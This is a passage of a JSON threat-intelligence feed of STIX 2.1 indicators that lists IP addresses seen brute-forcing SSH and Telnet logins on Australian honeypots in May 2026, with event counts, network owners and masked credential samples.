      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--b47f2743-a218-45de-a706-853ca09a8ef4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.230.115.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T15:15:11.000Z",
      "valid_until": "2026-06-25T15:15:08.000Z"
    },
    {
      "created": "2026-05-24T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CG. ASN(s): 36924. Organisation(s): GVA-Canalbox.",
      "id": "indicator--6fc57c3d-0eb6-4c87-afff-70d92fa8f4f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.75.74.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T15:15:11.000Z",
      "valid_until": "2026-06-25T15:15:08.000Z"
    },
    {
      "created": "2026-05-24T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4, b********r, ***. Passwords observed (masked): 1**4, 3***********4, 3**********4, T*******5, U*******3.",
      "id": "indicator--66c18eba-01a8-45c1-8754-0325efbe9905",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.26.132.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T15:15:11.000Z",
      "valid_until": "2026-06-25T15:15:08.000Z"
    },
    {
      "created": "2026-05-24T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--fd2cb880-6654-4dc5-938c-159ec458574a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T15:15:11.000Z",
      "valid_until": "2026-06-25T15:15:08.000Z"
    },
    {
      "created": "2026-05-24T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--05247b58-ff7c-4b6e-b801-e3a5776eb88f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '83.171.89.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T15:15:11.000Z",
      "valid_until": "2026-06-25T15:15:08.000Z"
    },
    {
      "created": "2026-05-24T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t, 3**********4, a***n, ***, f******r. Passwords observed (masked): 1**********e, 1*******8, 3***********4, 3**********4, M********!.",
      "id": "indicator--116a7039-b02a-49f3-aaf9-2c667ee28bcc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '84.247.162.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T15:15:11.000Z",
      "valid_until": "2026-06-25T15:15:08.000Z"
    },
    {
      "created": "2026-05-24T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: VN. ASN(s): 151858. Organisation(s): INTERDIGI JOINT STOCK COMPANY.",
      "id": "indicator--8898f308-0e42-4014-b23e-8232e7500c16",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.195.238.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T16:15:11.000Z",
      "valid_until": "2026-06-25T16:15:09.000Z"
    },
    {
      "created": "2026-05-24T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 143. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 45758. Organisation(s): Triple T Broadband Public Company Limited. Usernames observed (masked): r**t, c***a, 3**********4, d**g, p****l. Passwords observed (masked): 1****6, 3***********4, 3**********4, 3****9, A******3.",
      "id": "indicator--190c2074-f5d3-46c9-93b1-2716078288c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.164.228.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T16:15:11.000Z",
      "valid_until": "2026-06-25T16:15:09.000Z"
    },
    {
      "created": "2026-05-24T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--6b7822ed-b38d-481c-94f2-889d792ad545",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.55.170.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T16:15:11.000Z",
      "valid_until": "2026-06-25T16:15:09.000Z"
    },
    {
      "created": "2026-05-24T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 10175. Organisation(s): Kumho Cable.",
      "id": "indicator--2d86e54f-2dd4-45a4-bcef-486489114f64",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.202.41.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T16:15:11.000Z",
      "valid_until": "2026-06-25T16:15:09.000Z"
    },
    {
      "created": "2026-05-24T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: DO. ASN(s): 28118. Organisation(s): ALTICE DOMINICANA S.A..",
      "id": "indicator--3a7462e8-6f8d-453f-836e-4dd9d4320489",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '148.103.54.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T16:15:11.000Z",
      "valid_until": "2026-06-25T16:15:09.000Z"
    },
    {
      "created": "2026-05-24T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 47583. Organisation(s): Hostinger International Limited. Usernames observed (masked): r**t. Passwords observed (masked): #**********h.",
      "id": "indicator--8d436eba-3df8-4093-8076-266db6a0e923",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.127.163.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T16:15:11.000Z",
      "valid_until": "2026-06-25T16:15:09.000Z"
    },
    {
      "created": "2026-05-24T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 265594. Organisation(s): Television Internacional, S.A. de C.V..",
      "id": "indicator--8de8a02d-aa8a-4858-8af9-a0f878427868",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.219.115.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T16:15:11.000Z",
      "valid_until": "2026-06-25T16:15:09.000Z"
    },
    {
      "created": "2026-05-24T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 204957. Organisation(s): Green Floid LLC. Usernames observed (masked): r**t, 3**********4, g***t, j**o, s******d. Passwords observed (masked): 1******0, 1**4, 1****6, 3***********4, 3**********4.",
      "id": "indicator--91d7a54f-c29b-455d-9b7b-d2d1094f1930",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.211.99.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T16:15:11.000Z",
      "valid_until": "2026-06-25T16:15:09.000Z"
    },
    {
      "created": "2026-05-24T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PH. ASN(s): 9658. Organisation(s): Eastern Telecoms Phils., Inc.. Usernames observed (masked): r**t, d**g. Passwords observed (masked): 1****6, 3****9, *.",
      "id": "indicator--2f480540-2872-4204-9337-bed60bfcb70f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.28.144.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T16:15:11.000Z",
      "valid_until": "2026-06-25T16:15:09.000Z"
    },
    {
      "created": "2026-05-24T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 61163. Organisation(s): Global Technologies of Ukraine LLC.",
      "id": "indicator--51b55298-542c-4ca2-8df5-a7bd2a687866",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.158.177.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T16:15:11.000Z",
      "valid_until": "2026-06-25T16:15:09.000Z"
    },
    {
      "created": "2026-05-24T17:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 138311. Organisation(s): Limerick Technologies Pvt Ltd. Usernames observed (masked): r**t, u****u, 3**********4, c******r, r****x. Passwords observed (masked): !******x, 1*******@, 3***********4, 3**********4, A******4.",
      "id": "indicator--70066681-10ce-456f-8e85-a3333d62d00e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.96.42.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T17:15:12.000Z",
      "valid_until": "2026-06-25T17:15:08.000Z"
    },
    {
      "created": "2026-05-24T17:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 27651. Organisation(s): ENTEL CHILE S.A..",
      "id": "indicator--b09f5c1e-3519-4dde-b3bf-986593d89ae8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.43.248.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T17:15:12.000Z",
      "valid_until": "2026-06-25T17:15:08.000Z"
    },
    {
      "created": "2026-05-24T17:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 27651. Organisation(s): ENTEL CHILE S.A..",
      "id": "indicator--d031e8cc-8aa3-4e44-b53e-5d175d865235",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.67.140.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T17:15:12.000Z",
      "valid_until": "2026-06-25T17:15:08.000Z"
    },
    {
      "created": "2026-05-24T17:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--a3f0b7cf-f76b-4954-9f7e-9363562a3814",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.237.102.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T17:15:12.000Z",
      "valid_until": "2026-06-25T17:15:08.000Z"
    },
    {
      "created": "2026-05-24T17:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--57bfcdb2-c12b-4591-ae6f-978422d67588",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T17:15:12.000Z",
      "valid_until": "2026-06-25T17:15:08.000Z"
    },
    {
      "created": "2026-05-24T17:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 268809. Organisation(s): EDILEUZA EVARISTO BARRETO. Usernames observed (masked): r**t, ***, 3**********4, f******r, h***d. Passwords observed (masked): 1******8, 1*********!, 3***********4, 3**********4, A*******3.",
      "id": "indicator--9b8ca264-7fe0-4aa1-ae08-c082d7b8dc33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.173.103.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T17:15:12.000Z",
      "valid_until": "2026-06-25T17:15:08.000Z"
    },
    {
      "created": "2026-05-24T17:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 39120. Organisation(s): Convergenze S.p.A.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--2136611e-f533-4f9e-b231-a12e744536bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '83.229.8.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T17:15:12.000Z",
      "valid_until": "2026-06-25T17:15:08.000Z"
    },
    {
      "created": "2026-05-24T17:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: BG. ASN(s): 209630. Organisation(s): LLC Vash Kredit Bank.",
      "id": "indicator--2146f9a6-2f01-4564-a370-8ef5e67716b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.92.42.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T17:15:12.000Z",
      "valid_until": "2026-06-25T17:15:08.000Z"
    },
    {
      "created": "2026-05-24T17:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 62327. Organisation(s): Yuriichuk Vatalii.",
      "id": "indicator--d1623544-7ee5-47d4-9f0b-4f9793724407",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '93.170.189.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T17:15:12.000Z",
      "valid_until": "2026-06-25T17:15:08.000Z"
    },
    {
      "created": "2026-05-24T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--c371f8bd-29f5-4ece-ba9d-c5e38c60123d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.36.70.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T18:15:10.000Z",
      "valid_until": "2026-06-25T18:15:08.000Z"
    },
    {
      "created": "2026-05-24T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--829e7b85-b46e-4ca1-bd12-08e6b66780db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.173.178.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T18:15:10.000Z",
      "valid_until": "2026-06-25T18:15:08.000Z"
    },
    {
      "created": "2026-05-24T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 47583. Organisation(s): Hostinger International Limited. Usernames observed (masked): r**t. Passwords observed (masked): K*********2.",
      "id": "indicator--a575a268-3e2a-4ffb-8142-29522d556b89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.173.220.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T18:15:10.000Z",
      "valid_until": "2026-06-25T18:15:08.000Z"
    },
    {
      "created": "2026-05-24T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, n*****r, 3**********4, m*****n, o****e. Passwords observed (masked): 1*******/, 3***********4, 3**********4, D******6, L******3.",
      "id": "indicator--7ad3a50c-7b88-474a-9427-735cd709e897",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.227.129.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T18:15:10.000Z",
      "valid_until": "2026-06-25T18:15:08.000Z"
    },
    {
      "created": "2026-05-24T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group.",
      "id": "indicator--0ef9a724-d6d2-4e4e-bb3d-7f73da3aea50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.249.21.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T18:15:10.000Z",
      "valid_until": "2026-06-25T18:15:08.000Z"
    },
    {
      "created": "2026-05-24T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 62370. Organisation(s): Snel.com B.V.. Usernames observed (masked): r**t, 3**********4, i**i, m*****a, n*****r. Passwords observed (masked): 1***5, 1*******/, **, 3***********4, 3**********4.",
      "id": "indicator--e531056e-1136-46a4-ae5a-8b4311461f25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.62.56.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T18:15:10.000Z",
      "valid_until": "2026-06-25T18:15:08.000Z"
    },
    {
      "created": "2026-05-24T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 8167. Organisation(s): V tal.",
      "id": "indicator--80437397-a471-4070-81ce-e6b6e843fced",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.11.121.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T18:15:10.000Z",
      "valid_until": "2026-06-25T18:15:08.000Z"
    },
    {
      "created": "2026-05-24T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, a***n, g***t, r**t.",
      "id": "indicator--e9928183-1664-4bb3-9a40-830fdcf35dd4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.102.21.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T18:15:10.000Z",
      "valid_until": "2026-06-25T18:15:08.000Z"
    },
    {
      "created": "2026-05-24T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--2faf9157-dc75-496d-8d42-00d317f41097",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.76.217.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T18:15:10.000Z",
      "valid_until": "2026-06-25T18:15:08.000Z"
    },
    {
      "created": "2026-05-24T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 219. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, i***l, g*******r, h***d. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, 1**************R.",
      "id": "indicator--5d6e3de9-5d1f-42cb-925a-feee33a28016",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.193.61.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T19:15:11.000Z",
      "valid_until": "2026-06-25T19:15:08.000Z"
    },
    {
      "created": "2026-05-24T19:15:11.000Z",
